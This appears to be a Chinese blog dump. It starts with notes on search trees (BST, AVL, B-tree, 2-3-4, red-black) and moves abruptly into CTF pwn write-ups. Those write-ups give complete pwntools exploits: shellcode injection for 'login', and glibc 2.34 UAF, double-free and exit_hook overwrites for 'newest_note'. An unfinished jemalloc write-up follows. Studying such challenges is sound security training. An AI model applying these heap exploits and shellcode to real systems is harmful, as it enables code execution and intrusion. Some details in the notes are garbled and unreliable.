0%

二叉树-BT

二叉树(Binary tree)是树形结构的一个重要类型

相关术语

  • ①节点:包含一个数据元素及若干指向子树分支的信息
  • ②节点的度:一个节点拥有子树的数目称为节点的度
  • ③叶子节点:也称为终端节点,没有子树的节点或者度为零的节点
  • ④分支节点:也称为非终端节点,度不为零的节点称为非终端节点
  • ⑤树的度:树中所有节点的度的最大值
  • ⑥节点的层次:从根节点开始,假设根节点为第1层,根节点的子节点为第2层,依此类推,如果某一个节点位于第L层,则其子节点位于第L+1层
  • ⑦树的深度:也称为树的高度,树中所有节点的层次最大值称为树的深度
  • ⑧有序树:如果树中各棵子树的次序是有先后次序,则称该树为有序树
  • ⑨无序树:如果树中各棵子树的次序没有先后次序,则称该树为无序树
  • ⑩森林:由m(m≥0)棵互不相交的树构成一片森林,如果把一棵非空的树的根节点删除,则该树就变成了一片森林,森林中的树由原来根节点的各棵子树构成

树是一种重要的数据结构,其本质作用就是存储信息,接下来我们重点分析红黑树和它的前身,体会它们的优劣势

二叉查找树-BST

二叉查找树(Binary Search Tree)又称为二叉排序树,二叉搜索树,它或者是一棵空树,或者是具有以下性质的二叉树:

  • 若它的左子树不为空,则左子树上所有结点的值都小于根结点的值
  • 若它的右子树不为空,则右子树上所有结点的值都大于根结点的值
  • 它的左右子树也分别是二叉搜索树

这种树最大的特点就是:左边结点 < key < 右边结点(子结点也是这样的性质)

在查找某个数据 m 时,就可以通过对比 key 与 m 的大小,来判断到底去左结点还是右结点,这种基于二分法的查找方式大大提高了效率

但二叉查找树也有它的缺点,先看以下例子:

依次插入:7,6,5,4,3,由于每一次插入的值都比对应的 key 小,所以这些数据都会插入树的左结点,发挥不出树的查找优势了(使树“退化”为链表)

这个问题的本质就是:树的左右两边不平衡

平衡二叉树就是用于解决这个问题的,而实现平衡的算法多种多样,就是效率有差别,接下来分析几个平衡算法

二叉平衡搜索树-AVL

二叉平衡搜索树是最早被发明的自平衡二叉查找树,由前苏联的数学家 Adelse-Velskil 和 Landis 在 1962 年提出的高度平衡的二叉树,根据科学家的英文名也称为 AVL 树

它具有如下几个性质:

  • 可以是空树
  • 假如不是空树,任何一个结点的左子树与右子树都是平衡二叉树
  • 所有结点平衡因子的绝对值都不超过 1
  • 平衡因子:左子树高度 - 右子树高度

下图,新插入节点 37,该树不再是平衡二叉树,因为,节点 58 的左右子树高度差为 2:

为了使该树重新变为平衡二叉树,需要用到 平衡二叉树的左旋/右旋

右旋:将根节点绕左儿子 顺时针下压

左旋:将根节点绕右儿子 逆时针下压

最后就该考虑:什么时候使用左旋,什么时候使用右旋

为此,需要判断调整的四种情况:

  • LL:新插入节点为最小不平衡子树根节点的左儿子的左子树上 → 右旋使其恢复平衡
  • RR:新插入节点为最小不平衡子树根节点的右儿子的右子树上 → 左旋使其恢复平衡
  • LR:新插入节点为最小不平衡子树根节点的左儿子的右子树上 → 以左儿子为根节点进行左旋,再按原始的根节点右旋
  • RL:新插入节点为最小不平衡子树根节点的右儿子的左子树上 → 以右儿子为根节点进行右旋,再按原始的根节点左旋

B树-B

B-树是一种平衡的多路查找树

  • 注意:B树就是B-树,”-“是个连字符号,不是减号

我们假设我们的数据量达到了亿级别,主存当中根本存储不下,我们只能以块的形式从磁盘读取数据,与主存的访问时间相比,磁盘的 I/O 操作相当耗时,而提出 B-树的主要目的就是减少磁盘的 I/O 操作

一颗 m 阶的B树定义如下:

  • 每个结点最多有 m-1 个关键字
  • 根结点最少可以只有1个关键字
  • 非根结点至少有 Math.ceil(m/2)-1 个关键字(Math.ceil:向上取整)
  • 每个结点中的关键字都按照从小到大的顺序排列,每个关键字的左子树中的所有关键字都小于它,而右子树中的所有关键字都大于它
  • 所有叶子结点都位于同一层,或者说根结点到每个叶子结点的长度都相同
  • 上图是一个4阶的B树,所以每个结点最多有3个关键字
  • 在实际应用中的B树的阶数 m 都非常大(通常大于100),所以即使存储大量的数据,B树的高度仍然比较小
  • 一个 key 和其对应的 data 称为一个记录,即键值对(key, value)

B树,插入操作:

插入操作是指插入一条记录,即(key, value)的键值对,如果B树中已存在需要插入的键值对,则用需要插入的 value 替换旧的 value,若B树不存在这个 key,则一定是在叶子结点中进行插入操作

  • 根据要插入的 key 的值,找到叶子结点并插入
  • 断当前结点 key 的个数是否小于等于 m-1,若满足则结束,否则进行第3步
  • 以结点中间的 key 为中心分裂成左右两部分,然后将这个中间的 key 插入到父结点中, 这个 key 的左子树指向分裂后的左半部分,这个 key 的右子支指向分裂后的右半部分,然后将当前结点指向父结点 ,继续进行第3步

案例如下:

1
2
22 <-> 39 <-> 41 <-> 97 
=> 53 /* 新插入 */
1
22 <-> 39 <-> 41 <-> 53 <-> 97 /* 插入后超过了最大允许的关键字个数4 */
1
2
		41
22 <-> 39 53 <-> 97 /* 以key值为41为中心进行分裂(称为key的子结点) */
  • 这个 key 的左子树指向分裂后的左半部分
  • 这个 key 的右子支指向分裂后的右半部分
  • 然后将当前结点指向父结点

B树,删除操作:

删除操作是指,根据 key 删除记录,如果B树中的记录中不存对应 key 的记录,则删除失败

  • 找到叶节点
  • 如果叶节点中有多于m//2个键,则从节点中删除所需的键
  • 如果叶节点不多于m//2个键,则通过从8个或左兄弟中获取元素来完成键
    • 如果左侧兄弟包含多于m//2个元素,则将其最大元素推送到其父元素,并将插入元素向下移动到删除键的节点
    • 如果右侧兄弟包含多于m//2个元素,则将其最小元素向上推送到父节点,并将插入元素向下移动到删除键的节点
  • 如果兄弟节点都不包含多于m//2个元素,则通过连接两个叶节点和父节点的插入元素来创建新的叶节点
  • 如果父节点的节点少于m//2,那么也应在父节点上应用上述过程
  • 如果要删除的节点是内部节点,则将节点替换为其有序后继或前一个节点,由于后继或前任将始终位于叶节点上,因此该过程将类似于从叶节点中删除节点
  • 总之叶节点不能少于m//2个键
  • 如果少于,则把该父结点以及它的所有子结点 重新整合 到其他结点上

234树-234

2-3-4树是4阶的B树,它被称为2-3-4树,因为非叶非根节点的子节点数为 2, 3 或 4,同时,2-3-4树也是红黑树的前身

2-3-4树的特点:

  • 它是平衡树
  • 每个节点最多可以存三个数据项
  • 不存在空节点
  • 叶节点可以有数据项没有子节点
  • 插入数据项的时候数据总是插入在叶节点中(这点很重要)
  • 对于非叶节点来说:
    • 有一个数据项的节点总是有两个子节点
    • 有两个数据项的节点总是有三个子节点
    • 有三个数据项的节点总是有四个子节点
    • L:表示子节点个数
    • D:表示数据项个数
    • 针对非叶节点:L = D+1
    • 子节点个数=数据项个数+1

红黑树

红黑树是对概念模型2-3-4树的一种实现,由于直接进行不同节点间的转化会造成较大的开销,所以选择以二叉树为基础,在二叉树的属性中加入一个 颜色属性 来表示2-3-4树中不同的节点

红黑规则:

  • 节点不是黑色,就是红色(非黑即红)
  • 根节点为黑色,叶节点为黑色(叶节点是指末梢的空节点 NilNull
  • 一个节点为红色,则其两个子节点必须是黑色的(根到叶子的所有路径,不可能存在两个连续的红色节点)
  • 每个节点到叶子节点的所有路径,都包含相同数目的黑色节点(相同的黑色高度)
  • 4个规则必须全部符合,就构成了红黑树

在插链的过程中,可能会破坏这些规则,这就需要一些机制来恢复平衡

变色:

  • 为了重新符合红黑树的规则,尝试把红色节点变为黑色,或者把黑色节点变为红色

左旋转:

  • 左旋转,就是将S点旋转到根节点,S节点的左边都挂到E节点的右边
  • 就是将要旋转的子结点的左边挂到之前节点E的右边

右旋转:

  • 将要旋转的子结点的右边移到之前结点E的左边

总结:

login-nomal

1
GNU C Library (Ubuntu GLIBC 2.33-0ubuntu5) release release versio
1
2
3
4
5
6
7
login: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /home/yhellow/tools/glibc-all-in-one/libs/2.34-0ubuntu3_amd64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=776a804f3b57556db703db0581fc8598b3ad85a8, stripped

Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

64位,dynamically,全开

整体的逻辑为:

  • 输入 “command : ops”,循环5次(以“\n”进行间隔)
  • command 有两种命令“opt,msg”,每种对应不同的函数,“ops”为对应的操作数
  • “msg:ops_m”中的“ops_m”会被放入 Switch-Case 中,用于选择将要执行的函数
  • “opt:opt_o”中的“opt_o”会被分配内存,然后放入对应的函数作为参数
1
2
3
4
5
6
7
8
9
10
11
12
13
if ( key != 1 )
{
puts("oh!");
exit(-1);
}
if ( key2 )
{
pagesize = getpagesize(); // 获取内存分页大小
page = (void *)(int)mmap((void *)0x1000, pagesize, 7, 34, 0, 0LL);
opslen = strlen(ops);
memcpy(page, ops, opslen);
((void (*)(void))page)(); // shellcode注入点
}

“msg:2”中:有个 shellcode 的注入点,只要两个 key 都为“1”,就可以 getshell

“msg:1”中:如果“ops_m”为“ro0t”,就会设置两个 key 为“1”

攻击脚本:

1
2
3
4
5
6
7
8
9
10
11
from pwn import * 
context.log_level ='debug'
cn = process("./login")

sc = "Rh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"

payload = '''opt:0\nopt:0\nopt:0\nmsg:ro0tt\nopt:1\n'''
cn.sendlineafter(">>>", payload)
payload = '''opt:0\nopt:0\nopt:0\nmsg:{}a\nopt:2\n'''.format(sc)
cn.sendlineafter(">>>", payload)
cn.interactive()

newest_note

1
GNU C Library (Ubuntu GLIBC 2.34-0ubuntu3) stable release version
1
2
3
4
5
6
7
8
9
newest_note: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter ./ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=a0f1711c159c5e24913b8711a535fb4268812414, stripped

[*] '/home/yhellow/\xe6\xa1\x8c\xe9\x9d\xa2/exp/newest_note'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: './'

64位,dynamically,全开

2.34-0ubuntu3 在 glibc-all-in-one 里面没有符号表,需要手动下载,在 GDB 中的使用:

  • 先用 patchelf 更换 libc 和 ld:
1
exp patchelf ./newest_note --set-interpreter ./ld-linux-x86-64.so.2 --replace-needed libc.so.6 ./libc.so.6 --output newest_note1
  • 在 GDB 里面使用 set debug-file-directory director:
1
2
3
pwndbg> set debug-file-directory /home/yhellow/tools/debuglibc/2.34-0ubuntu3/usr/lib/debug/
pwndbg> show debug-file-directory
The directory where separate debug symbols are searched for is "/home/yhellow/tools/debuglibc/2.34-0ubuntu3/usr/lib/debug/".

必须让 GDB 链接符号表,不然 heap 命令没法使用

漏洞分析:

1
2
3
4
5
6
7
8
9
if ( chunk_s )
{
LODWORD(chunk_s) = key2; // key2 = 0xA
if ( key2 >= 0 )
{
free((void *)list[index]); // UAF
LODWORD(chunk_s) = --key2;
}
}
  • UAF,并且 free 模块只能执行11次

入侵思路:

首先高 libc 版本中的 tcache 有 key 保护(一般为 heap_base/tcache_perthread_struct + 0x10),ptmalloc 会在 free tcache->BK 中写入 key(tcache 只使用 FD/next 进行遍历),如果释放 tcache 时检查到 BK 的位置是 key,就会报错

没有可以绕过 tcache 的手段,所以采用 Double free

  • 注意 libc-2.32 以后新加的特性:
1
2
3
4
5
6
7
8
#define PROTECT_PTR(pos, ptr) \
((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
#define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr)

/* tcache */
e->next = PROTECT_PTR(&e->next, tcache->entries[tc_idx]); /* key */
/* fastbin */
p->fd = PROTECT_PTR(&p->fd, old); /* p->head */
  • 通过这个特性,来获取 heap_base 和 key
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
for i in range(9):
add(i,'a'*0x20) # key与FD有关,一定要保证后续的chunk->FD都相同

for i in range(7):
delete(i)

show(0)

p.recvuntil("Content: ")
leak_addr = u64(p.recvuntil("\n")[:-1].ljust(8,"\x00"))

heap_base = leak_addr<<12
key = leak_addr

success("heap_base >> "+hex(heap_base))
success("key >> "+hex(key))

接下来我的思路是:利用 Double 来修改 tcache_perthread_struct

  • 填满 tcache 需要7次,打 Double free 需要3次,leak libc_base 需要一次
  • 改来改去还是突破不了11次 free 的限制

预期解

网上有另一种思路可以把 Double free 压缩到2次:

1
2
3
4
5
6
for i in range(7):
delete(i)

delete(7)
add(10,'aaaaaaaa')
delete(7)

heap 排布如下:

  • tcache 刚好满
1
2
tcachebins
0x40 [ 7]: 0x55f6889144b0 —▸ 0x55f688914470 —▸ 0x55f688914430 —▸ 0x55f6889143f0 —▸ 0x55f6889143b0 —▸ 0x55f688914370 —▸ 0x55f688914330 ◂— 0x0
  • delete(7):再释放一个 chunk,进入 fastbin
1
2
3
4
5
6
tcachebins
0x40 [ 7]: 0x55f6889144b0 —▸ 0x55f688914470 —▸ 0x55f688914430 —▸ 0x55f6889143f0 —▸ 0x55f6889143b0 —▸ 0x55f688914370 —▸ 0x55f688914330 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x55f6889144e0 ◂— 0x0
  • add(10,’aaaaaaaa’):从 tcache 中申请一个 chunk
1
2
3
4
5
6
tcachebins
0x40 [ 6]: 0x55f688914470 —▸ 0x55f688914430 —▸ 0x55f6889143f0 —▸ 0x55f6889143b0 —▸ 0x55f688914370 —▸ 0x55f688914330 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x55f6889144e0 ◂— 0x0
  • delete(7):再次释放同一个 chunk,进入 tcache
1
2
3
4
5
6
tcachebins
0x40 [ 7]: 0x55f6889144f0 —▸ 0x55f688914470 —▸ 0x55f688914430 —▸ 0x55f6889143f0 —▸ 0x55f6889143b0 —▸ 0x55f688914370 —▸ 0x55f688914330 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x55f6889144e0 —▸ 0x55f688914470 ◂— 0x55f688914

这个有点 House Of Botcake 的味道,利用了 tcachebin 和 fastbin 的独立性,使 chunk 同时存在于 tcache 和 fastbin 中,巧妙的避开了两边的检查

现在我们可以在 fastbin 中伪造一个 tcachebin(申请到 fastbin 时,会把 fastbin 放入 tcachebin),因为第一个 chunk 同时存在于 tcache 和 fastbin,所以我们可以人为制造一些“错位”

  • 直接在第一个 chunk 中写入 next chunk+0x20
  • 然后在 next chunk 中写入 next next chunk-0x20

下面是网上 leak libc 的 exp 片段:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
add(10,p64(key^(heap_base+0x480))) # @1
add(0,b'a'*0x20+p64(key^(heap_base+0x440))) # @2
add(1,b'a'*0x20+p64(key^(heap_base+0x400))) # @3
add(2,b'a'*0x20+p64(key^(heap_base+0x3a0))) # @4
add(3,p64(key^(heap_base+0x380))) # @5
add(4,b'a'*0x20+p64(key^(heap_base+0x340))) # @6
add(5,b'a'*0x20+p64(key)) # @7
add(7,'aaaaaaaa') # @8
add(7,b'a'*0x18+p64(0x441)) # @9

free(4)
show(4)
p.recvuntil('Content: ')
libc_base = u64(p.recvuntil('\x0a')[:-1].ljust(8,b'\x00')) - 0x218cc0
success('libc_base-->'+hex(libc_base))
  • PS:“@4”和“@5”的反常只是为了后续的利用,和 leak libc_base 的过程无关

heap 排列:

1
2
3
4
5
6
tcachebins // @0
0x40 [ 7]: 0x55630178c4f0 —▸ 0x55630178c470 —▸ 0x55630178c430 —▸ 0x55630178c3f0 —▸ 0x55630178c3b0 —▸ 0x55630178c370 —▸ 0x55630178c330 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x55630178c4e0 —▸ 0x55630178c470 ◂— 0x55630178c
1
2
3
4
5
6
tcachebins // @1
0x40 [ 6]: 0x55630178c470 —▸ 0x55630178c430 —▸ 0x55630178c3f0 —▸ 0x55630178c3b0 —▸ 0x55630178c370 —▸ 0x55630178c330 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x55630178c4e0 —▸ 0x55630178c480 ◂— 0x55630178c
1
2
3
4
5
6
tcachebins // @2
0x40 [ 5]: 0x55630178c430 —▸ 0x55630178c3f0 —▸ 0x55630178c3b0 —▸ 0x55630178c370 —▸ 0x55630178c330 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x55630178c4e0 —▸ 0x55630178c480 —▸ 0x55630178c440 ◂— 0x55630178c
1
2
3
4
5
6
tcachebins // @3
0x40 [ 4]: 0x55630178c3f0 —▸ 0x55630178c3b0 —▸ 0x55630178c370 —▸ 0x55630178c330 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x55630178c4e0 —▸ 0x55630178c480 —▸ 0x55630178c440 —▸ 0x55630178c400 ◂— 0x55630178c
1
2
3
4
5
6
tcachebins // @4
0x40 [ 3]: 0x55630178c3b0 —▸ 0x55630178c370 —▸ 0x55630178c330 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x55630178c4e0 —▸ 0x55630178c480 —▸ 0x55630178c440 —▸ 0x55630178c400 —▸ 0x55630178c3a0 ◂— ...
  • 这里把 fastchunk 的间隔从 64 变为了 96(0x400-0x3a0)
  • 这是为了人为制造堆溢出
1
2
3
4
5
6
tcachebins // @5
0x40 [ 2]: 0x55630178c370 —▸ 0x55630178c330 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x55630178c4e0 —▸ 0x55630178c480 —▸ 0x55630178c440 —▸ 0x55630178c400 —▸ 0x55630178c3a0 ◂— ...
  • 这里又把 fastchunk 的间隔变为了 32(0x3a0-0x380)
  • 造成了堆溢出
1
2
3
4
5
6
tcachebins // @6
0x40 [ 1]: 0x55630178c330 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x55630178c4e0 —▸ 0x55630178c480 —▸ 0x55630178c440 —▸ 0x55630178c400 —▸ 0x55630178c3a0 ◂— ...
  • 0x370 就是攻击对象,我们需要修改它的 chunk->size
1
2
3
4
5
6
tcachebins // @7
empty
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x55630178c4e0 —▸ 0x55630178c480 —▸ 0x55630178c440 —▸ 0x55630178c400 —▸ 0x55630178c3a0 ◂— ...
1
2
tcachebins // @8
0x40 [ 6]: 0x55630178c350 —▸ 0x55630178c390 —▸ 0x55630178c3b0 —▸ 0x55630178c410 —▸ 0x55630178c450 —▸ 0x55630178c490 ◂— 0x0
  • 在单独申请一个 fastbin 中的堆块后,由于 tcache 的机制,剩余未被申请的堆块会以倒序的方式重新被挂进 tcache bin 中
  • 在 GDB 中显示 tcache->next(溢出目标为:0x390 -> 0x3b0)
1
2
tcachebins // @9
0x40 [ 5]: 0x55630178c390 —▸ 0x55630178c3b0 —▸ 0x55630178c410 —▸ 0x55630178c450 —▸ 0x55630178c490 ◂— 0x0
  • 在 0x350 写入数据,一直溢出到 0x370 的 chunk->size

最后是 get shell 的 exp 片段:

1
2
3
4
5
6
add(11,b'a'*0x18+p64(0x41)+p64(key^(exit_hook-0x8))) # @1
add(12,b'aaaa') # @2
add(13,b'a'*0x8+p64(one_gadget)) # @3

p.recvuntil('4. Exit')
p.sendline('4')

heap 排列:

1
2
3
4
5
6
7
8
9
10
11
12
tcachebins // @0
0x40 [ 5]: 0x55dc29f33390 —▸ 0x55dc29f333b0 —▸ 0x55dc29f33410 —▸ 0x55dc29f33450 —▸ 0x55dc29f33490 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x55dc29f33360 —▸ 0x7f9b86b4acc0 (main_arena+96) ◂— 0x55dc29f33360
1
2
tcachebins // @1
0x40 [ 4]: 0x55dc29f333b0 —▸ 0x7f9b86b4c6c0 (_IO_str_jumps+160) ◂— 0x7f9c7f2438fc
1
2
tcachebins // @2
0x40 [ 3]: 0x7f9b86b4c6c0 (_IO_str_jumps+160) ◂— 0x7f9c7f2438fc
  • 可以发现:0x390 与 0x3b0 之间差了 32,是可以进行溢出的
  • 所以直接在 0x3b0 中写入 exit_hook-0x8
  • 申请到这片区域以后就可以写入 one_gadget

我借鉴了一下他的思路,想改变一下他的 heap 布局,但是改来改去都不合适,感觉只有他这个是最合适的,还要注意一下 unsortedbin 相邻的下一个 chunk 必须存在(高版本 libc 的 free 会检查相邻下的两个 chunk 是否合法,如果是 top chunk 则另说)

1
2
3
4
5
6
7
Allocated chunk | PREV_INUSE
Addr: 0x563874197360
Size: 0x441

Allocated chunk
Addr: 0x5638741977a0
Size: 0x00
  • 不合法的 unsorted chunk
1
2
3
4
5
6
7
8
9
10
11
Allocated chunk | PREV_INUSE
Addr: 0x55b4c3312360
Size: 0x441

Allocated chunk | PREV_INUSE
Addr: 0x55b4c33127a0
Size: 0x41

Top chunk | PREV_INUSE
Addr: 0x55b4c33127e0
Size: 0x20821
  • 合法的 unsorted chunk

完整 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
from pwn import *

elf=ELF("./newest_note1")
libc=ELF("./libc.so.6")

#p=gdb.debug('./newest_note1', 'set debug-file-directory /home/yhellow/tools/debuglibc/2.34-0ubuntu3/usr/lib/debug/')
p=process("./newest_note1")

p.sendlineafter("will be? :",str(16))

def add(index,content):
p.sendlineafter(": ",str(1))
p.sendlineafter("Index: ",str(index))
p.sendafter("Content: ",content)

def delete(index):
p.sendlineafter(": ",str(2))
p.sendlineafter("Index: ",str(index))

def show(index):
p.sendlineafter(": ",str(3))
p.sendlineafter("Index: ",str(index))

for i in range(16):
add(i,'a'*0x20)

add(15,'a'*0x20) # 为了unsorted chunk合法而做的堆风水
add(15,'a'*0x20)
add(15,'a'*0x20)

for i in range(7):
delete(i)

show(0)

p.recvuntil("Content: ")
leak_addr = u64(p.recvuntil("\n")[:-1].ljust(8,"\x00"))

heap_base = leak_addr<<12
key = leak_addr

success("heap_base >> "+hex(heap_base))
success("key >> "+hex(key))

delete(7)
add(8,'a'*0x20)
delete(7)

add(1,p64(key^(heap_base+0x480)))
add(2,b'a'*0x20+p64(key^(heap_base+0x440)))
add(3,b'a'*0x20+p64(key^(heap_base+0x400)))
add(4,b'a'*0x20+p64(key^(heap_base+0x3a0)))
add(5,p64(key^(heap_base+0x380))) # target:0x370
add(6,b'a'*0x20+p64(key^(heap_base+0x340)))
add(7,b'a'*0x20+p64(key))
add(8,'aaaaaaaa')
add(9,b'a'*0x18+p64(0x441))

delete(6)
show(6)

p.recvuntil('Content: ')
leak_addr = u64(p.recvuntil("\n")[:-1].ljust(8,"\x00"))
libc_base = leak_addr - 0x218cc0
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

exit_hook = libc_base + 0x21a6c8
one_gadget = libc_base + 0xeeccc

add(10,'a'*0x18+p64(0x41)+p64(key^(exit_hook-0x8)))
add(11,'a'*0x8)
add(12,'a'*0x8+p64(one_gadget))

p.sendline('4')

p.interactive()

非预期解

网上还有一种思路,利用了 malloc 和 memset 的特性:

1
p.sendlineafter("will be? :",str(0x40040000))

直接让 num_s 为 0x40040000,就可以让这个存堆指针的堆申请到 libc 上面,其实这里的 0x40040000*8 是有整形溢出的

1
2
3
4
printf("%s", "How many pages your notebook will be? :");
num_s = get_num(); // num_s是int类型
list = malloc(8 * num_s);
memset(list, 0, 8 * num_s);

这里有个小细节要注意一下:

1
2
void *malloc(size_t size);
void *memset(void *str, int c, size_t n);
  • 看上去 malloc 和 memset 可以接收8字节的数据,但是这里的 size_t 代表的是 unsorted int
  • 案例如下:
1
2
3
4
5
6
int main(){
void* fd;
fd = malloc(0x40040000*8);
memset(fd,0,0x40040000*8);
return 0;
}
1
2
3
4
5
6
7
8
  0x40115e <main+8>     mov    edi, 0x200000
0x401163 <main+13> call malloc@plt <malloc@plt>
size: 0x200000

0x40117d <main+39> call memset@plt <memset@plt>
s: 0x7ffff7bbf010 ◂— 0x0
c: 0x0
n: 0x200000
  • 可以发现,传入的是 0x40040000*8,GDB 上显示的却是 0x200000
1
2
3
4
5
In [35]: bin(0x40040000*8)
Out[35]: '0b1000000000001000000000000000000000'

In [36]: bin(0x200000)
Out[36]: '0b1000000000000000000000'
  • 很明显整数溢出了,说明这个 size_t 其实代表了4字节

size_t 本来就是为了提高C语言的可移植性而诞生的,它在不同的场合可以有不同的功能,我们常常把 size_t 的大小当做“一字”,并用它来表示地址,但在以上这个场合中,size_t 就相当于是 unsorted int

知道了这个原理就可以直接 leak libc_base 了,节约了一次 free 的机会,然后 Double free 就可以了

完整 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *

elf=ELF("./newest_note1")
libc=ELF("./libc.so.6")

#p=gdb.debug('./newest_note1', 'set debug-file-directory /home/yhellow/tools/debuglibc/2.34-0ubuntu3/usr/lib/debug/')
p=process("./newest_note1")

p.sendlineafter("will be? :",str(0x40040000))

def add(index,content):
p.sendlineafter(": ",str(1))
p.sendlineafter("Index: ",str(index))
p.sendafter("Content: ",content)

def delete(index):
p.sendlineafter(": ",str(2))
p.sendlineafter("Index: ",str(index))

def show(index):
p.sendlineafter(": ",str(3))
p.sendlineafter("Index: ",str(index))

show((0x7f99c17fbcd0-0x7f99c13df000)/8)

p.recvuntil('Content: ')
leak_addr = u64(p.recvuntil("\n")[:-1].ljust(8,"\x00"))
libc_base = leak_addr - 0x218cc0
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

exit_hook = libc_base + 0x21a6c8
one_gadget = libc_base + 0xeeccc

for i in range(9):
add(i,'a'*8)
for i in range(7):
delete(i)

show(0)

p.recvuntil("Content: ")
leak_addr = u64(p.recvuntil("\n")[:-1].ljust(8,"\x00"))
heap_base = leak_addr<<12
success("heap_base >> "+hex(heap_base))

delete(7)
delete(8)
delete(7)

for i in range(7):
add(i,'a'*8)

target=((heap_base+0x450)>>12)^(exit_hook-0x8)

add(7,p64(target))
add(7,'a'*8)
add(7,'a'*8)
add(7,p64(one_gadget)*2)

p.sendline('4')

p.interactive()

小结:

这是我的第一场国赛,打的很憋屈,可能 70% 的时间都在搭环境

我感觉现在比赛的 libc 版本越来越高了,house of 也越来越多了,打比赛时 2.34 版本的 libc 始终搞不到,搞到了也没有符号表,最后连 GDB 的 heap 指令都没有用就开始强行搞题,搞得我有点崩溃

Ancienthouse 复现

这个程序有点特殊,它没有使用 ptmalloc,而是使用了 jemalloc:

1
2
3
4
5
6
7
➜  pwn_Ancient_House ldd Ancienthouse
linux-vdso.so.1 (0x00007fffa5fcc000)
./libjemalloc.so (0x00007faeaa826000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007faeaa61f000)
libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007faeaa5fc000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007faeaa5f6000)
/lib64/ld-linux-x86-64.so.2 (0x00007faeaa85e000)

其他信息:

1
2
3
4
5
6
7
8
9
➜  pwn_Ancient_House file Ancienthouse
Ancienthouse: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=c89baa4d5cf70d4da6d034cde16c86e4870f2e08, for GNU/Linux 3.2.0, stripped
➜ pwn_Ancient_House checksec Ancienthouse
[*] '/home/yhellow/\xe6\xa1\x8c\xe9\x9d\xa2/pwn_Ancient_House/Ancienthouse'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

64位,dynamically,全开

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
➜  pwn_Ancient_House ./Ancienthouse
Who dares to enter these hallowed halls!! : 0
_ _ _ _ _
/ \ _ __ ___ (_) ___ _ __ | |_ | | | | ___ _ _ ___ ___
/ _ \ | '_ \ / __|| | / _ \| '_ \ | __| | |_| | / _ \ | | | |/ __| / _ \
/ ___ \ | | | || (__ | || __/| | | || |_ | _ || (_) || |_| |\__ \| __/
/_/ \_\|_| |_| \___||_| \___||_| |_| \__| |_| |_| \___/ \__,_||___/ \___|


============== MENU ==============
| 1. Add Enemy |
| 2. Battle |
| 3. Merge |
| 4. Enter any other key to flee |
==================================
>>

大致说明一下程序的逻辑:

  • 有点类似于一种 “蚂蚁大战” 的游戏,程序中利用如下结构体来描述一个 “蚂蚁群落”:
1
2
3
4
5
6
00000000 Chunk struc ; (sizeof=0x14, mappedto_8) ; XREF: .bss:chunk_list/r
00000000 name dq ? /* 指向一片装有name的heap空间 */
00000008 num dd ? /* 表示群落中蚂蚁的数目 */
0000000C index dd ? /* 表示该Chunk在chunk_list中的索引 */
00000010 size dd ? /* 表示name的长度 */
00000014 Chunk ends
  • Add Enemy:添加一个新的 “蚂蚁群落”,默认 chunk->num 为 “0x64”
  • Battle:使你的 “蚂蚁群落” 和目标 “蚂蚁群落” 打架,使目标 chunk->num 减少 “0xf”,如果 chunk->num 减少为 “0”,则可以选择 “杀死”(释放)它
  • Merge:选择两个 “蚂蚁群落”,使其合并为一个
  • Enter any other key to flee:执行一次函数指针,多半需要控制这里

漏洞分析

1
2
3
4
5
6
7
8
9
10
11
12
__int64 battle()
{
int id; // [rsp+4h] [rbp-Ch] BYREF
